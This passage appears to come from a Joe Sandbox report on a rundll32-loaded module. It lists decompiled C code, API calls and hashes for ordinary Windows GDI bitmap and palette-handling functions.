RealizePalette.GDI32(?), ref: 009F579C
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 009F57BE
StretchBlt.GDI32(?,00000000,00000000,?,?,00000000,?,?,?,?,00440328), ref: 009F57E0
SetTextColor.GDI32(?,00000000), ref: 009F57E8
SetBkColor.GDI32(?,00FFFFFF), ref: 009F57F6
StretchBlt.GDI32(?,?,?,?,?,?,?,?,?,?,008800C6), ref: 009F5822
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00660046), ref: 009F5847
SetTextColor.GDI32(?,?), ref: 009F5851
SetBkColor.GDI32(?,?), ref: 009F585B
SelectObject.GDI32(?,00000000), ref: 009F586E
DeleteObject.GDI32(?), ref: 009F5877
SelectPalette.GDI32(?,00000000,00000000), ref: 009F5899
DeleteDC.GDI32(?), ref: 009F58A2

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Select$ObjectPalette$ColorStretch$CompatibleCreateDelete$BitmapText$MaskRealize
String ID:
API String ID: 3976802218-0
Opcode ID: f06e7c6577b1be01d7d5f32e8824381bed5bc7b3bdedcee1457f379b93232957
Instruction ID: 1775d1c06419d87aa0b6447ebbf8f64ce87ec89d4963f1097bee76e00fd2d152
Opcode Fuzzy Hash: f06e7c6577b1be01d7d5f32e8824381bed5bc7b3bdedcee1457f379b93232957
Instruction Fuzzy Hash: 0C81BEB2A40609AFDB50EFA8CD81FAFBBFCAB4D714F114455F618E7281C635AD008B60

Uniqueness

Uniqueness Score: -1.00%

Function 009F7584 Relevance: 31.7, APIs: 21, Instructions: 194
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E009F7584(void* __eax, long __ecx, struct HPALETTE__* __edx) {
				struct HBITMAP__* _v8;
				struct HDC__* _v12;
				struct HDC__* _v16;
				struct HDC__* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				intOrPtr _v92;
				intOrPtr _v96;
				int _v108;
				int _v112;
				void _v116;
				int _t68;
				long _t82;
				void* _t117;
				intOrPtr _t126;
				intOrPtr _t127;
				long _t130;
				struct HPALETTE__* _t133;
				void* _t137;
				void* _t139;
				intOrPtr _t140;

				_t137 = _t139;
				_t140 = _t139 + 0xffffff90;
				_t130 = __ecx;
				_t133 = __edx;
				_t117 = __eax;
				_v8 = 0;
				if(__eax == 0 || GetObjectA(__eax, 0x54,  &_v116) == 0) {
					return _v8;
				} else {
					E009F6A78(_t117);
					_v12 = 0;
					_v20 = 0;
					_push(_t137);
					_push(0x9f777f);
					_push( *[fs:eax]);
					 *[fs:eax] = _t140;
					_v12 = E009F5484(GetDC(0));
					_v20 = E009F5484(CreateCompatibleDC(_v12));
					_v8 = CreateBitmap(_v112, _v108, 1, 1, 0);
					if(_v8 == 0) {
						L17:
						_t68 = 0;
						_pop(_t126);
						 *[fs:eax] = _t126;
						_push(0x9f7786);
						if(_v20 != 0) {
							_t68 = DeleteDC(_v20);
						}
						if(_v12 != 0) {
							return ReleaseDC(0, _v12);
						}
						return _t68;
					} else {
						_v32 = SelectObject(_v20, _v8);
						if(_t130 != 0x1fffffff) {
							_v16 = E009F5484(CreateCompatibleDC(_v12));
							_push(_t137);
							_push(0x9f7737);
							_push( *[fs:eax]);
							 *[fs:eax] = _t140;
							if(_v96 == 0) {
								_v21 = 0;
							} else {
								_v21 = 1;
								_v92 = 0;
								_t117 = E009F6EBC(_t117, _t133, _t133, 0,  &_v116);
							}
							_v28 = SelectObject(_v16, _t117);
							if(_t133 != 0) {
								SelectPalette(_v16, _t133, 0);
								RealizePalette(_v16);
								SelectPalette(_v20, _t133, 0);
								RealizePalette(_v20);
							}
							_t82 = SetBkColor(_v16, _t130);
							BitBlt(_v20, 0, 0, _v112, _v108, _v16, 0, 0, 0xcc0020);
							SetBkColor(_v16, _t82);
							if(_v28 != 0) {
								SelectObject(_v16, _v28);
							}
							if(_v21 != 0) {
								DeleteObject(_t117);
							}
							_pop(_t127);
							 *[fs:eax] = _t127;
							_push(0x9f773e);
							return DeleteDC(_v16);
						} else {
							PatBlt(_v20, 0, 0, _v112, _v108, 0x42);
							if(_v32 != 0) {
								SelectObject(_v20, _v32);
							}
							goto L17;
						}
					}
				}
			}

0x009f7585
0x009f7587
0x009f758d
0x009f758f
0x009f7591
0x009f7595
0x009f759a
0x009f778f
0x009f75b4
0x009f75b6
0x009f75bd
0x009f75c2
0x009f75c7
0x009f75c8
0x009f75cd
0x009f75d0
0x009f75df
0x009f75f0
0x009f7606
0x009f760d
0x009f7751
0x009f7751
0x009f7753
0x009f7756
0x009f7759
0x009f7762
0x009f7768
0x009f7768
0x009f7771
0x00000000
0x009f7779
0x009f777e
0x009f7613
0x009f7620
0x009f7629
0x009f7655
0x009f765a
0x009f765b
0x009f7660
0x009f7663
0x009f766a
0x009f768a
0x009f766c
0x009f766c
0x009f7672
0x009f7686
0x009f7686
0x009f7698
0x009f769d
0x009f76a6
0x009f76af
0x009f76bb
0x009f76c4
0x009f76c4
0x009f76ce
0x009f76f2
0x009f76fc
0x009f7705
0x009f770f
0x009f770f
0x009f7718
0x009f771b
0x009f771b
0x009f7722
0x009f7725
0x009f7728
0x009f7736
0x009f762b
0x009f763d
0x009f7742
0x009f774c
0x009f774c
0x00000000
0x009f7742
0x009f7629
0x009f760d

APIs

GetObjectA.GDI32(?,00000054,?), ref: 009F75A7
GetDC.USER32(00000000), ref: 009F75D5
CreateCompatibleDC.GDI32(?), ref: 009F75E6
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 009F7601
SelectObject.GDI32(?,00000000), ref: 009F761B
PatBlt.GDI32(?,00000000,00000000,?,?,00000042), ref: 009F763D
CreateCompatibleDC.GDI32(?), ref: 009F764B
SelectObject.GDI32(?), ref: 009F7693
SelectPalette.GDI32(?,?,00000000), ref: 009F76A6
RealizePalette.GDI32(?), ref: 009F76AF
SelectPalette.GDI32(?,?,00000000), ref: 009F76BB
RealizePalette.GDI32(?), ref: 009F76C4
SetBkColor.GDI32(?), ref: 009F76CE
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 009F76F2
SetBkColor.GDI32(?,00000000), ref: 009F76FC
SelectObject.GDI32(?,00000000), ref: 009F770F
DeleteObject.GDI32 ref: 009F771B
DeleteDC.GDI32(?), ref: 009F7731
SelectObject.GDI32(?,00000000), ref: 009F774C
DeleteDC.GDI32(00000000), ref: 009F7768
ReleaseDC.USER32 ref: 009F7779

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: ObjectSelect$Palette$CreateDelete$ColorCompatibleRealize$BitmapRelease
String ID:
API String ID: 332224125-0
Opcode ID: a79c4d677d625d9c00fe2e03b57b9b9ffd1d8c1ab8589582cbe9903173ebbf72
Instruction ID: 097cfad0d8522b2f0bba38e275284b589f10882bfe6b29291312e0ebd2648a09
Opcode Fuzzy Hash: a79c4d677d625d9c00fe2e03b57b9b9ffd1d8c1ab8589582cbe9903173ebbf72
Instruction Fuzzy Hash: 05510B75E44709AFDB10EBE8CC85FAEB7FCAB48700F104466B614E7281D775A940CB60

Uniqueness

Uniqueness Score: -1.00%

Function 009F82A0 Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 351
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E009F82A0(intOrPtr __eax, void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi, char* _a4) {
				intOrPtr _v8;
				intOrPtr* _v12;
				struct HDC__* _v16;
				struct HDC__* _v20;
				void* _v24;
				BITMAPINFOHEADER* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v37;
				struct HBITMAP__* _v44;
				void* _v48;
				struct HPALETTE__* _v52;
				struct HPALETTE__* _v56;
				intOrPtr* _v60;
				intOrPtr* _v64;
				short _v66;
				short _v68;
				signed short _v70;
				signed short _v72;
				void* _v76;
				intOrPtr _v172;
				char _v174;
				intOrPtr _t150;
				signed int _t160;
				intOrPtr _t164;
				signed int _t193;
				signed int _t218;
				signed short _t224;
				intOrPtr _t251;
				intOrPtr* _t255;
				intOrPtr _t261;
				intOrPtr _t299;
				intOrPtr _t300;
				intOrPtr _t305;
				signed int _t307;
				signed int _t327;
				void* _t329;
				void* _t330;
				signed int _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				intOrPtr _t335;

				_t326 = __edi;
				_t333 = _t334;
				_t335 = _t334 + 0xffffff54;
				_t329 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v52 = 0;
				_v44 = 0;
				_v60 = 0;
				 *((intOrPtr*)( *_v12 + 0xc))(__edi, __esi, __ebx, _t332);
				_v37 = _v36 == 0xc;
				if(_v37 != 0) {
					_v36 = 0x28;
				}
				_v28 = E009D28CC(_v36 + 0x40c);
				_v64 = _v28;
				_push(_t333);
				_push(0x9f87bd);
				_push( *[fs:edx]);
				 *[fs:edx] = _t335;
				_push(_t333);
				_push(0x9f8790);
				_push( *[fs:edx]);
				 *[fs:edx] = _t335;
				if(_v37 == 0) {
					 *((intOrPtr*)( *_v12 + 0xc))();
					_t330 = _t329 - _v36;
					_t150 =  *((intOrPtr*)(_v64 + 0x10));
					if(_t150 != 3 && _t150 != 0) {
						_v60 = E009D3350(1);
						if(_a4 == 0) {
							E009D2D70( &_v174, 0xe);
							_v174 = 0x4d42;
							_v172 = _v36 + _t330;
							_a4 =  &_v174;
						}
						 *((intOrPtr*)( *_v60 + 0x10))();
						 *((intOrPtr*)( *_v60 + 0x10))();
						 *((intOrPtr*)( *_v60 + 0x10))();
						E009ED564(_v60,  *_v60, _v12, _t326, _t330, _t330, 0);
						 *((intOrPtr*)( *_v60 + 0x14))();
						_v12 = _v60;
					}
				} else {
					 *((intOrPtr*)( *_v12 + 0xc))();
					_t261 = _v64;
					E009D2D70(_t261, 0x28);
					_t251 = _t261;
					 *(_t251 + 4) = _v72 & 0x0000ffff;
					 *(_t251 + 8) = _v70 & 0x0000ffff;
					 *((short*)(_t251 + 0xc)) = _v68;
					 *((short*)(_t251 + 0xe)) = _v66;
					_t330 = _t329 - 0xc;
				}
				_t255 = _v64;
				 *_t255 = _v36;
				_v32 = _v28 + _v36;
				if( *((short*)(_t255 + 0xc)) != 1) {
					E009F5370();
				}
				if(_v36 == 0x28) {
					_t224 =  *(_t255 + 0xe);
					if(_t224 == 0x10 || _t224 == 0x20) {
						if( *((intOrPtr*)(_t255 + 0x10)) == 3) {
							E009ED4F4(_v12, 0xc, _v32);
							_v32 = _v32 + 0xc;
							_t330 = _t330 - 0xc;
						}
					}
				}
				if( *(_t255 + 0x20) == 0) {
					 *(_t255 + 0x20) = E009F55F4( *(_t255 + 0xe));
				}
				_t327 = _v37 & 0x000000ff;
				_t267 =  *(_t255 + 0x20) * 0;
				E009ED4F4(_v12,  *(_t255 + 0x20) * 0, _v32);
				_t331 = _t330 -  *(_t255 + 0x20) * 0;
				if( *(_t255 + 0x14) == 0) {
					_t307 =  *(_t255 + 0xe) & 0x0000ffff;
					_t218 = E009F5614( *((intOrPtr*)(_t255 + 4)), 0x20, _t307);
					asm("cdq");
					_t267 = _t218 * (( *(_t255 + 8) ^ _t307) - _t307);
					 *(_t255 + 0x14) = _t218 * (( *(_t255 + 8) ^ _t307) - _t307);
				}
				_t160 =  *(_t255 + 0x14);
				if(_t331 > _t160) {
					_t331 = _t160;
				}
				if(_v37 != 0) {
					E009F58BC(_v32);
				}
				_v16 = E009F5484(GetDC(0));
				_push(_t333);
				_push(0x9f870b);
				_push( *[fs:edx]);
				 *[fs:edx] = _t335;
				_t164 =  *((intOrPtr*)(_v64 + 0x10));
				if(_t164 == 0 || _t164 == 3) {
					if( *0xa9c670 == 0) {
						_v44 = CreateDIBSection(_v16, _v28, 0,  &_v24, 0, 0);
						if(_v44 == 0 || _v24 == 0) {
							if(GetLastError() != 0) {
								E009DD738(_t255, _t267, _t327, _t331);
							} else {
								E009F5370();
							}
						}
						_push(_t333);
						_push( *[fs:eax]);
						 *[fs:eax] = _t335;
						E009ED4F4(_v12, _t331, _v24);
						_pop(_t299);
						 *[fs:eax] = _t299;
						_t300 = 0x9f86da;
						 *[fs:eax] = _t300;
						_push(0x9f8712);
						return ReleaseDC(0, _v16);
					} else {
						goto L27;
					}
				} else {
					L27:
					_v20 = 0;
					_v24 = E009D28CC(_t331);
					_push(_t333);
					_push(0x9f8673);
					_push( *[fs:edx]);
					 *[fs:edx] = _t335;
					_t273 = _t331;
					E009ED4F4(_v12, _t331, _v24);
					_v20 = E009F5484(CreateCompatibleDC(_v16));
					_v48 = SelectObject(_v20, CreateCompatibleBitmap(_v16, 1, 1));
					_v56 = 0;
					_t193 =  *(_v64 + 0x20);
					if(_t193 > 0) {
						_t273 = _t193;
						_v52 = E009F5B74(0, _t193);
						_v56 = SelectPalette(_v20, _v52, 0);
						RealizePalette(_v20);
					}
					_push(_t333);
					_push(0x9f8647);
					_push( *[fs:edx]);
					 *[fs:edx] = _t335;
					_v44 = CreateDIBitmap(_v20, _v28, 4, _v24, _v28, 0);
					if(_v44 == 0) {
						if(GetLastError() != 0) {
							E009DD738(_t255, _t273, _t327, _t331);
						} else {
							E009F5370();
						}
					}
					_pop(_t305);
					 *[fs:eax] = _t305;
					_push(0x9f864e);
					if(_v56 != 0) {
						SelectPalette(_v20, _v56, 0xffffffff);
					}
					return DeleteObject(SelectObject(_v20, _v48));
				}
			}

0x009f82a0
0x009f82a1
0x009f82a3
0x009f82ac
0x009f82ae
0x009f82b1
0x009f82b6
0x009f82bb
0x009f82c0
0x009f82d0
0x009f82d7
0x009f82df
0x009f82e1
0x009f82e1
0x009f82f8
0x009f82fe
0x009f8303
0x009f8304
0x009f8309
0x009f830c
0x009f8311
0x009f8312
0x009f8317
0x009f831a
0x009f8321
0x009f8380
0x009f8383
0x009f8389
0x009f838f
0x009f83a9
0x009f83b0
0x009f83bf
0x009f83c4
0x009f83d2
0x009f83de
0x009f83de
0x009f83ee
0x009f83fe
0x009f8412
0x009f8421
0x009f8433
0x009f8439
0x009f8439
0x009f8323
0x009f8333
0x009f8336
0x009f8342
0x009f8347
0x009f834d
0x009f8354
0x009f835b
0x009f8363
0x009f8367
0x009f8367
0x009f843c
0x009f8442
0x009f844a
0x009f8452
0x009f8454
0x009f8454
0x009f845d
0x009f845f
0x009f8467
0x009f8473
0x009f8480
0x009f8485
0x009f8489
0x009f8489
0x009f8473
0x009f8467
0x009f8490
0x009f849b
0x009f849b
0x009f84a1
0x009f84ad
0x009f84b6
0x009f84c8
0x009f84ce
0x009f84d0
0x009f84dc
0x009f84e6
0x009f84eb
0x009f84ee
0x009f84ee
0x009f84f1
0x009f84f6
0x009f84f8
0x009f84f8
0x009f84fe
0x009f8503
0x009f8503
0x009f8514
0x009f8519
0x009f851a
0x009f851f
0x009f8522
0x009f8528
0x009f852d
0x009f853b
0x009f8691
0x009f8698
0x009f86a7
0x009f86b0
0x009f86a9
0x009f86a9
0x009f86a9
0x009f86a7
0x009f86b7
0x009f86bd
0x009f86c0
0x009f86cb
0x009f86d2
0x009f86d5
0x009f86f4
0x009f86f7
0x009f86fa
0x009f870a
0x00000000
0x00000000
0x00000000
0x009f8541
0x009f8541
0x009f8543
0x009f854d
0x009f8552
0x009f8553
0x009f8558
0x009f855b
0x009f8561
0x009f8566
0x009f8579
0x009f8593
0x009f8598
0x009f859e
0x009f85a3
0x009f85a5
0x009f85b1
0x009f85c3
0x009f85ca
0x009f85ca
0x009f85d1
0x009f85d2
0x009f85d7
0x009f85da
0x009f85f3
0x009f85fa
0x009f8603
0x009f860c
0x009f8605
0x009f8605
0x009f8605
0x009f8603
0x009f8613
0x009f8616
0x009f8619
0x009f8622
0x009f862e
0x009f862e
0x009f8646
0x009f8646

APIs

GetDC.USER32(00000000), ref: 009F850A
CreateCompatibleDC.GDI32(00000001), ref: 009F856F
CreateCompatibleBitmap.GDI32(00000001,00000001,00000001), ref: 009F8584
SelectObject.GDI32(?,00000000), ref: 009F858E
SelectPalette.GDI32(?,?,00000000), ref: 009F85BE
RealizePalette.GDI32(?), ref: 009F85CA
CreateDIBitmap.GDI32(?,?,00000004,00000000,?,00000000), ref: 009F85EE
GetLastError.KERNEL32(?,?,00000004,00000000,?,00000000,00000000,009F8647,?,?,00000000,00000001,00000001,00000001,00000001,00000000), ref: 009F85FC
SelectPalette.GDI32(?,00000000,000000FF), ref: 009F862E
SelectObject.GDI32(?,?), ref: 009F863B
DeleteObject.GDI32(00000000), ref: 009F8641

Strings

(, xrefs: 009F8459
BM, xrefs: 009F83C4

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Select$CreateObjectPalette$BitmapCompatible$DeleteErrorLastRealize
String ID: ($BM
API String ID: 2831685396-2980357723
Opcode ID: 8b5b722a8467ece2c4597f1c068d36dde44757fddb419247f363739ac1373386
Instruction ID: 7e9b5bacbb3587f087f8a63a07dd902fc31a101d55048aacffae05f6089a6b92
Opcode Fuzzy Hash: 8b5b722a8467ece2c4597f1c068d36dde44757fddb419247f363739ac1373386
Instruction Fuzzy Hash: 3AD12974A002589FDF54EFA8C885BAEBBB5FF88304F148465FA14EB395DB349840CB65

Uniqueness

Uniqueness Score: -1.00%

Function 009F7A88 Relevance: 21.2, APIs: 14, Instructions: 217
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E009F7A88(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				struct HPALETTE__* _v12;
				char _v13;
				struct tagPOINT _v21;
				struct HDC__* _v28;
				void* _v32;
				struct HPALETTE__* _t78;
				signed int _t84;
				signed int _t85;
				signed int _t86;
				char _t87;
				void* _t94;
				void* _t140;
				intOrPtr* _t170;
				intOrPtr _t178;
				intOrPtr _t182;
				intOrPtr _t184;
				intOrPtr _t186;
				int* _t190;
				intOrPtr _t192;
				void* _t194;
				void* _t195;
				intOrPtr _t196;

				_t171 = __ecx;
				_t194 = _t195;
				_t196 = _t195 + 0xffffffe4;
				_t190 = __ecx;
				_v8 = __edx;
				_t170 = __eax;
				_t192 =  *((intOrPtr*)(__eax + 0x28));
				_t178 =  *0x9f7cd4; // 0xf
				E009F516C(_v8, __ecx, _t178);
				E009F8018(_t170);
				_v12 = 0;
				_v13 = 0;
				_t78 =  *(_t192 + 0x10);
				if(_t78 != 0) {
					_v12 = SelectPalette( *(_v8 + 4), _t78, 0xffffffff);
					RealizePalette( *(_v8 + 4));
					_v13 = 1;
				}
				_push(GetDeviceCaps( *(_v8 + 4), 0xc));
				_t84 = GetDeviceCaps( *(_v8 + 4), 0xe);
				_pop(_t85);
				_t86 = _t85 * _t84;
				if(_t86 > 8) {
					L4:
					_t87 = 0;
				} else {
					_t171 =  *(_t192 + 0x28) & 0x0000ffff;
					if(_t86 < ( *(_t192 + 0x2a) & 0x0000ffff) * ( *(_t192 + 0x28) & 0x0000ffff)) {
						_t87 = 1;
					} else {
						goto L4;
					}
				}
				if(_t87 == 0) {
					if(E009F7E14(_t170) == 0) {
						SetStretchBltMode(E009F5098(_v8), 3);
					}
				} else {
					GetBrushOrgEx( *(_v8 + 4),  &_v21);
					SetStretchBltMode( *(_v8 + 4), 4);
					SetBrushOrgEx( *(_v8 + 4), _v21, _v21.y,  &_v21);
				}
				_push(_t194);
				_push(0x9f7cc4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t196;
				if( *((intOrPtr*)( *_t170 + 0x28))() != 0) {
					E009F7FB8(_t170, _t171);
				}
				_t94 = E009F7D58(_t170);
				_t182 =  *0x9f7cd4; // 0xf
				E009F516C(_t94, _t171, _t182);
				if( *((intOrPtr*)( *_t170 + 0x28))() == 0) {
					StretchBlt( *(_v8 + 4),  *_t190, _t190[1], _t190[2] -  *_t190, _t190[3] - _t190[1],  *(E009F7D58(_t170) + 4), 0, 0,  *(_t192 + 0x1c),  *(_t192 + 0x20),  *(_v8 + 0x20));
					_pop(_t184);
					 *[fs:eax] = _t184;
					_push(0x9f7ccb);
					if(_v13 != 0) {
						return SelectPalette( *(_v8 + 4), _v12, 0xffffffff);
					}
					return 0;
				} else {
					_v32 = 0;
					_v28 = 0;
					_push(_t194);
					_push(0x9f7c59);
					_push( *[fs:eax]);
					 *[fs:eax] = _t196;
					_v28 = E009F5484(CreateCompatibleDC(0));
					_v32 = SelectObject(_v28,  *(_t192 + 0xc));
					E009F5628( *(_v8 + 4), _t170, _t190[1],  *_t190, _t190, _t192, 0, 0, _v28,  *(_t192 + 0x20),  *(_t192 + 0x1c), 0, 0,  *(E009F7D58(_t170) + 4), _t190[3] - _t190[1], _t190[2] -  *_t190);
					_t140 = 0;
					_pop(_t186);
					 *[fs:eax] = _t186;
					_push(0x9f7c9e);
					if(_v32 != 0) {
						_t140 = SelectObject(_v28, _v32);
					}
					if(_v28 != 0) {
						return DeleteDC(_v28);
					}
					return _t140;
				}
			}

0x009f7a88
0x009f7a89
0x009f7a8b
0x009f7a91
0x009f7a93
0x009f7a96
0x009f7a98
0x009f7a9b
0x009f7aa4
0x009f7aab
0x009f7ab2
0x009f7ab5
0x009f7ab9
0x009f7abe
0x009f7acf
0x009f7ad9
0x009f7ade
0x009f7ade
0x009f7af0
0x009f7afa
0x009f7b01
0x009f7b02
0x009f7b07
0x009f7b18
0x009f7b18
0x009f7b09
0x009f7b0d
0x009f7b16
0x009f7b1c
0x00000000
0x00000000
0x00000000
0x009f7b16
0x009f7b20
0x009f7b63
0x009f7b70
0x009f7b70
0x009f7b22
0x009f7b2d
0x009f7b3b
0x009f7b53
0x009f7b53
0x009f7b77
0x009f7b78
0x009f7b7d
0x009f7b80
0x009f7b8c
0x009f7b90
0x009f7b90
0x009f7b97
0x009f7b9c
0x009f7ba2
0x009f7bb0
0x009f7c99
0x009f7ca0
0x009f7ca3
0x009f7ca6
0x009f7caf
0x00000000
0x009f7cbe
0x009f7cc3
0x009f7bb6
0x009f7bb8
0x009f7bbd
0x009f7bc2
0x009f7bc3
0x009f7bc8
0x009f7bcb
0x009f7bda
0x009f7bea
0x009f7c24
0x009f7c29
0x009f7c2b
0x009f7c2e
0x009f7c31
0x009f7c3a
0x009f7c44
0x009f7c44
0x009f7c4d
0x00000000
0x009f7c53
0x009f7c58
0x009f7c58

APIs

Part of subcall function 009F8018: GetDC.USER32(00000000), ref: 009F806E
Part of subcall function 009F8018: GetDeviceCaps.GDI32(00000000,0000000C), ref: 009F8083
Part of subcall function 009F8018: GetDeviceCaps.GDI32(00000000,0000000E), ref: 009F808D
Part of subcall function 009F8018: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,009F6C4F,00000000,009F6CDB), ref: 009F80B1
Part of subcall function 009F8018: ReleaseDC.USER32 ref: 009F80BC

SelectPalette.GDI32(?,?,000000FF), ref: 009F7ACA
RealizePalette.GDI32(?), ref: 009F7AD9
GetDeviceCaps.GDI32(?,0000000C), ref: 009F7AEB
GetDeviceCaps.GDI32(?,0000000E), ref: 009F7AFA
GetBrushOrgEx.GDI32(?,?,0000000E,00000000,?,0000000C), ref: 009F7B2D
SetStretchBltMode.GDI32(?,00000004), ref: 009F7B3B
SetBrushOrgEx.GDI32(?,?,?,?,?,00000004,?,?,0000000E,00000000,?,0000000C), ref: 009F7B53
SetStretchBltMode.GDI32(00000000,00000003), ref: 009F7B70
CreateCompatibleDC.GDI32(00000000), ref: 009F7BD0
SelectObject.GDI32(?,?), ref: 009F7BE5
SelectObject.GDI32(?,00000000), ref: 009F7C44
DeleteDC.GDI32(00000000), ref: 009F7C53

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CapsDevice$PaletteSelect$BrushCreateModeObjectStretch$CompatibleDeleteHalftoneRealizeRelease
String ID:
API String ID: 2414602066-0
Opcode ID: 0d71060e326615f657cefd7a6f4a2cc3051860f59d1103b7c65a743732d46fda
Instruction ID: 06afa23b3886e8dccb5bc3e9c49574125adf0d027f796fe568d633979518d8bc
Opcode Fuzzy Hash: 0d71060e326615f657cefd7a6f4a2cc3051860f59d1103b7c65a743732d46fda
Instruction Fuzzy Hash: B971F375A04609AFCB50DFACC985F6ABBE8AF49300F158595B608E7391D734ED048B60

Uniqueness

Uniqueness Score: -1.00%

Function 009F5494 Relevance: 21.1, APIs: 14, Instructions: 131
windowCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E009F5494(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _v8;
				int _v12;
				int _v16;
				struct HBITMAP__* _v20;
				struct HDC__* _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				int _v48;
				int _v52;
				void _v56;
				void* _t78;
				intOrPtr _t85;
				intOrPtr _t86;
				void* _t91;
				void* _t93;
				void* _t94;
				intOrPtr _t95;

				_t93 = _t94;
				_t95 = _t94 + 0xffffffcc;
				asm("movsd");
				asm("movsd");
				_t77 = __ecx;
				_v8 = __eax;
				_v28 = CreateCompatibleDC(0);
				_v32 = CreateCompatibleDC(0);
				_push(_t93);
				_push(0x9f55e2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t95;
				GetObjectA(_v8, 0x18,  &_v56);
				if(__ecx == 0) {
					_v24 = GetDC(0);
					if(_v24 == 0) {
						E009F53DC(_t77);
					}
					_push(_t93);
					_push(0x9f5551);
					_push( *[fs:eax]);
					 *[fs:eax] = _t95;
					_v20 = CreateCompatibleBitmap(_v24, _v16, _v12);
					if(_v20 == 0) {
						E009F53DC(_t77);
					}
					_pop(_t85);
					 *[fs:eax] = _t85;
					_push(0x9f5558);
					return ReleaseDC(0, _v24);
				} else {
					_v20 = CreateBitmap(_v16, _v12, 1, 1, 0);
					if(_v20 != 0) {
						_t78 = SelectObject(_v28, _v8);
						_t91 = SelectObject(_v32, _v20);
						StretchBlt(_v32, 0, 0, _v16, _v12, _v28, 0, 0, _v52, _v48, 0xcc0020);
						if(_t78 != 0) {
							SelectObject(_v28, _t78);
						}
						if(_t91 != 0) {
							SelectObject(_v32, _t91);
						}
					}
					_pop(_t86);
					 *[fs:eax] = _t86;
					_push(0x9f55e9);
					DeleteDC(_v28);
					return DeleteDC(_v32);
				}
			}

0x009f5495
0x009f5497
0x009f54a2
0x009f54a3
0x009f54a4
0x009f54a6
0x009f54b0
0x009f54ba
0x009f54bf
0x009f54c0
0x009f54c5
0x009f54c8
0x009f54d5
0x009f54dc
0x009f54fd
0x009f5504
0x009f5506
0x009f5506
0x009f550d
0x009f550e
0x009f5513
0x009f5516
0x009f552a
0x009f5531
0x009f5533
0x009f5533
0x009f553a
0x009f553d
0x009f5540
0x009f5550
0x009f54de
0x009f54f1
0x009f555c
0x009f556b
0x009f557a
0x009f55a1
0x009f55a8
0x009f55af
0x009f55af
0x009f55b6
0x009f55bd
0x009f55bd
0x009f55b6
0x009f55c4
0x009f55c7
0x009f55ca
0x009f55d3
0x009f55e1
0x009f55e1

APIs

CreateCompatibleDC.GDI32(00000000), ref: 009F54AB
CreateCompatibleDC.GDI32(00000000), ref: 009F54B5
GetObjectA.GDI32(?,00000018,?), ref: 009F54D5
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 009F54EC
GetDC.USER32(00000000), ref: 009F54F8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 009F5525
ReleaseDC.USER32 ref: 009F554B
SelectObject.GDI32(?,?), ref: 009F5566
SelectObject.GDI32(?,00000000), ref: 009F5575
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,?,?,00CC0020), ref: 009F55A1
SelectObject.GDI32(?,00000000), ref: 009F55AF
SelectObject.GDI32(?,00000000), ref: 009F55BD
DeleteDC.GDI32(?), ref: 009F55D3
DeleteDC.GDI32(?), ref: 009F55DC

Memory Dump Source

